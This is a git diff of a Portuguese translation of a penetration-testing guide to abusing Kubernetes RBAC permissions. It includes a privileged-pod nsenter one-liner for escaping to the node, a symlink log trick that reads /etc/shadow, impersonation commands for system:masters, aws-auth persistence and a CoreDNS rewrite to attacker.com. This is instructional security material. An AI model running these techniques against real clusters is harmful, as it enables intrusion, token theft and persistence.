Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-02-12 12:38:14 +00:00
parent bf67518f47
commit a2bd88822d
2 changed files with 195 additions and 172 deletions
@@ -1,23 +1,23 @@
# Abusing Roles/ClusterRoles in Kubernetes
# Abusando de Roles/ClusterRoles em Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Aqui você pode encontrar algumas configurações de Roles e ClusterRoles potencialmente perigosas.\
Lembre-se de que você pode obter todos os recursos suportados com `kubectl api-resources`
Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles.\
Lembre-se que você pode obter todos os recursos suportados com `kubectl api-resources`
## **Escalada de Privilégios**
## **Privilege Escalation**
Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:
Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster Kubernetes ou para nuvens externas) do que aqueles que você já possui, em Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:
- Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
- Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos
- Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)
- Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.
- Ser capaz de **impersonate** outros usuários/grupos/SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
- Ser capaz de **create/patch/exec pods** onde você pode **find or attach SAs** com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
- Ser capaz de **read secrets**, já que os tokens das SAs são armazenados como secrets
- Ser capaz de **escape to the node** a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credenciais do node, e as permissões do node dentro da nuvem em que está executando (se houver)
- Uma quinta técnica que merece menção é a habilidade de **run port-forward** em um pod, pois você pode conseguir acessar recursos interessantes dentro desse pod.
### Acessar Qualquer Recurso ou Verbo (Coringa)
### Access Any Resource or Verb (Wildcard)
O **coringa (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Acessar Qualquer Recurso com um verbo específico
### Acessar qualquer recurso com um verbo específico
Em RBAC, certas permissões apresentam riscos significativos:
No RBAC, certas permissões apresentam riscos significativos:
1. **`create`:** Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios.
2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis.
3. **`get`:** Permite acessar segredos de contas de serviço, representando uma ameaça à segurança.
1. **`create`:** Concede a habilidade de criar qualquer recurso do cluster, colocando em risco privilege escalation.
2. **`list`:** Permite listar todos os recursos, potencialmente leaking sensitive data.
3. **`get`:** Permite acessar secrets de service accounts, representando uma ameaça à segurança.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account. Isso efetivamente eleva os privilégios.
Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account, escalando efetivamente privilégios para ela
Exemplo de um pod que roubará o token da Service Account `bootstrap-signer` e o enviará para o atacante:
Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo ao atacante:
```yaml
apiVersion: v1
kind: Pod
@@ -72,14 +72,12 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Criação e Escape de Pod
### Pod Create & Escape
O seguinte indica todos os privilégios que um contêiner pode ter:
- **Acesso privilegiado** (desabilitando proteções e configurando capacidades)
- **Acesso privilegiado** (desabilitando proteções e definindo capabilities)
- **Desabilitar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios
- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes
- **Montar hosts / dentro do contêiner**
- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios em cloud dos nodes e melhor acesso às redes
- **Montar o / do host dentro do container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -119,15 +117,15 @@ Crie o pod com:
```bash
kubectl --token $token create -f mount_root.yaml
```
Um-liner do [este tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições:
One-liner de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Agora que você pode escapar para o nó, verifique as técnicas de pós-exploração em:
Agora que você pode escapar para o node, confira post-exploitation techniques em:
#### Stealth
Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior:
Você provavelmente quer ser **stealthier**; nas páginas a seguir você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,24 +134,24 @@ Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pod
- **hostNetwork**
- **hostIPC**
_Você pode encontrar um exemplo de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Você pode encontrar exemplos de como criar/abusar as configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Mover para a nuvem
### Pod Create - Move to cloud
Se você pode **criar** um **pod** (e opcionalmente uma **conta de serviço**) você pode ser capaz de **obter privilégios no ambiente de nuvem** ao **atribuir funções de nuvem a um pod ou a uma conta de serviço** e então acessá-lo.\
Além disso, se você pode criar um **pod com o namespace de rede do host**, você pode **roubar o IAM** da função da **instância** do **nó**.
Se você puder **criar** um **pod** (e opcionalmente uma **service account**) pode ser capaz de **obter privilégios in cloud environment** atribuindo **cloud roles** a um pod ou a uma service account e então acessá-lo.\
Além disso, se você puder criar um **pod com o host network namespace** você pode **steal the IAM** role da instância **node**.
Para mais informações, verifique:
Para mais informações veja:
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior.
O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod:
O yaml a seguir **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,32 +189,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos contêineres ou obter um shell dentro**.
**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos containers ou obter um shell dentro**.
Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (ab)usar o nó:
Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o node, e roubar todos os tokens dos pods no node e (ab)usar o node:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Por padrão, o comando é executado no primeiro contêiner do pod. Obtenha **todos os pods em um contêiner** com `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e então **indique o contêiner** onde você deseja executá-lo com `kubectl exec -it <pod_name> -c <container_name> -- sh`
> Por padrão o comando é executado no primeiro container do pod. Obtenha **todos os containers em um pod** com `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e então **indique o container** onde quer executá-lo com `kubectl exec -it <pod_name> -c <container_name> -- sh`
Se for um contêiner distroless, você pode tentar usar **builtins de shell** para obter informações dos contêineres ou fazer upload de suas próprias ferramentas como um **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
Se for um container distroless você pode tentar usar **shell builtins** para obter info dos containers ou enviar suas próprias ferramentas como um **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:
Essa permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso serve para depurar aplicações rodando dentro de um pod facilmente, mas um atacante pode abusar dela para acessar aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você puder acessar ou criar um pod com o **diretório `/var/log/` dos hosts montado** nele, você pode **escapar do contêiner**.\
Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um contêiner (usando `kubectl logs <pod>`), ela **solicita o arquivo `0.log`** do pod usando o endpoint `/logs/` do serviço **Kubelet**.\
O serviço Kubelet expõe o endpoint `/logs/`, que basicamente **expondo o sistema de arquivos `/var/log` do contêiner**.
Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você conseguir acessar ou criar um pod com o **hosts `/var/log/` directory mounted** nele, você pode **escape from the container**.\
Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um container (usando `kubectl logs <pod>`), ela **requests the `0.log`** file of the pod usando o endpoint `/logs/` do serviço **Kubelet**.\
O serviço Kubelet expõe o endpoint `/logs/` que basicamente está **expondo o filesystem `/var/log` do container**.
Portanto, um atacante com **acesso para escrever na pasta /var/log/** do contêiner poderia abusar desse comportamento de 2 maneiras:
Portanto, um atacante com **acesso de escrita na pasta /var/log/** do container poderia abusar desse comportamento de 2 maneiras:
- Modificando o arquivo `0.log` de seu contêiner (geralmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Então, você poderá exfiltrar o arquivo shadow dos hosts fazendo:
- Modificar o arquivo `0.log` do seu container (normalmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Assim, você poderá exfiltrar o arquivo shadow do host fazendo:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +222,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos).
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos raiz do host** (alterar o symlink pode fornecer acesso a arquivos).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -238,21 +236,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
```
**Um laboratório e um exploit automatizado podem ser encontrados em** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Contornando a proteção readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Se você tiver sorte e a capacidade altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode apenas remontar a pasta como rw:
Se você tiver sorte e a capability altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode simplesmente remontar o diretório como rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Contornando a proteção readOnly do hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
Como descrito em [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) é possível contornar a proteção:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
O que deveria prevenir escapes como os anteriores, ao invés de usar um hostPath mount, é usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
Isso foi pensado para evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta hosts no container com acesso de escrita:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -298,16 +296,16 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonando contas privilegiadas**
### **Personificando contas privilegiadas**
Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.
Com o privilégio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.
Basta usar o parâmetro `--as=<username>` no comando `kubectl` para se passar por um usuário, ou `--as-group=<group>` para se passar por um grupo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Ou use a API REST:
Ou use a REST API:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -315,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listando Segredos
### Listando secrets
A permissão para **listar segredos pode permitir que um atacante realmente leia os segredos** acessando o endpoint da API REST:
A permissão para **list secrets** pode permitir que um atacante realmente leia os secrets acessando o REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Criando e Lendo Segredos
### Criando e Lendo Secrets
um tipo especial de segredo do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. Se você tiver permissões para criar e ler segredos, e também souber o nome do serviceaccount, você pode criar um segredo da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:
Existe um tipo especial de secret do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount.
Se você tem permissões para criar e ler secrets, e também conhece o nome do serviceaccount, você pode criar um secret da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:
```yaml
apiVersion: v1
kind: Secret
@@ -382,17 +381,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Note que se você tiver permissão para criar e ler segredos em um determinado namespace, a serviceaccount da vítima também deve estar nesse mesmo namespace.
Note que, se você tem permissão para criar e ler secrets em um determinado namespace, a serviceaccount vítima também deve estar nesse mesmo namespace.
### Lendo um segredo força bruta em IDs de token
### Lendo um secret brute-forcing token IDs
Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Embora um atacante em posse de um token com permissões de leitura precise do nome exato do secret para usá-lo, ao contrário da permissão mais ampla _**listing secrets**_, ainda existem vulnerabilidades. Os service accounts padrão no sistema podem ser enumerados, cada um associado a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia viavelmente executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.
O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um atacante poderia feasibly executar um ataque brute-force para deduzir o token em questão de horas, potencialmente levando a uma elevação de privilégios ao acessar service accounts sensíveis.
### EncrpytionConfiguration em texto claro
É possível encontrar chaves em texto claro para criptografar dados em repouso neste tipo de objeto como:
É possível encontrar chaves em texto claro para criptografar dados at rest nesse tipo de objeto, como:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,13 +448,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### Solicitações de Assinatura de Certificado
Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.**
Se você tiver o verbo **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`), você pode **criar** um novo CeSR de um **novo nó.**
De acordo com a [documentação é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
De acordo com a [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então nesse caso você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa update em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
Um **exemplo de um papel** com todas as permissões necessárias é:
Um **exemplo de role** com todas as permissões necessárias é:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,18 +485,18 @@ resourceNames:
verbs:
- approve
```
Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.
Então, com o novo node CSR aprovado, você pode **abuse** as permissões especiais dos nodes para **steal secrets** e **escalate privileges**.
Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\
Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.**
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) a configuração GKE K8s TLS Bootstrap está configurada com **automatic signing** e é abusada para gerar credentials de um novo K8s Node e então abusar desses para escalate privileges by stealing secrets.\
Se você **have the mentioned privileges you could do the same thing**. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro dos containers porque um **node can only access the secrets of containers mounted on it.**
A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post):
A forma de contornar isso é simplesmente **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Os principais que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o **aws-auth** configmap.\
Principals que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap **aws-auth**.\
Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado:
```bash
# Check if config map exists
@@ -538,18 +537,18 @@ groups:
- system:masters
```
> [!WARNING]
> Você pode usar **`aws-auth`** para **persistência** dando acesso a usuários de **outras contas**.
> Você pode usar **`aws-auth`** para **persistência**, dando acesso a usuários de **outras contas**.
>
> No entanto, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **não funciona de uma conta diferente**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\
> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução da aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS.
> Porém, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **não funciona a partir de outra conta**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez do nome.\
> Para fazer o `kubectl` funcionar, basta certificar-se de **configurar** o **kubeconfig da vítima** e nos argumentos do aws exec adicionar `--profile other_account_role` para que o kubectl use o profile da outra conta para obter o token e contatar a AWS.
### CoreDNS config map
### ConfigMap do CoreDNS
Se você tiver as permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
Se você tem permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode alterar os endereços para os quais domínios serão resolvidos, de modo a possibilitar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps).
Os verbos necessários são **`update`** e **`patch`** no **`coredns`** configmap (ou em todos os config maps).
Um arquivo **coredns** regular contém algo como isto:
Um **arquivo do CoreDNS** comum contém algo como isto:
```yaml
data:
Corefile: |
@@ -579,58 +578,75 @@ reload
loadbalance
}
```
Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com`, de modo que sempre que `victim.com` for acessado, na verdade `attacker.com` se o domínio que será acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`.
Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com` para que sempre que `victim.com` for acessado, na verdade `attacker.com` seja o domínio acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`.
Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações.
### Escalando no GKE
### Escalating in GKE
Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link).
Existem **2 maneiras de atribuir permissões K8s a principals do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para conseguir coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração do kubectl** (siga o link a seguir).
> [!WARNING]
> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\
> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será dado.
> Ao comunicar-se com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API do K8s, primeiro **verificará se o principal** (pelo email) **tem algum acesso dentro do cluster**, depois verificará se tem **qualquer acesso via GCP IAM**.\
> Se **qualquer** uma dessas for **verdadeira**, será **respondido**. Se **não**, será retornado um **erro** sugerindo conceder **permissões via GCP IAM**.
Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las.
Então, o primeiro método é usar **GCP IAM**; as permissões do K8s têm suas **equivalentes em GCP IAM**, e se o principal as possuir, poderá usá-las.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **e-mail** (contas de serviço do GCP incluídas).
O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **email** (incluindo service accounts do GCP).
### Criar token de serviceaccounts
### Create serviceaccounts token
Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Entidades que podem **create TokenRequests** (`serviceaccounts/token`) ao comunicar-se com o endpoint da API do K8s SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.
Entidades que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem obter **execução de código em outros pods**, e potencialmente **escapar** para seu node adicionando um ephemeral container com um securityContext privilegiado
### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations
Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.
Entidades com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.
Para um [exemplo de `mutatingwebhookconfigurations`, verifique esta seção deste post](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Escalar
### Escalate
Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui.
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), um principal não pode nem atualizar nem criar roles ou clusterroles sem ele mesmo possuir essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
Então ele pode atualizar/criar novos roles, clusterroles com permissões superiores às que possui.
### Proxy de nós
### Nodes proxy
Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página:
Entidades com acesso ao subrecurso **`nodes/proxy`** podem **executar código em pods** via a API do Kubelet (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação do Kubelet nesta página:
{{#ref}}
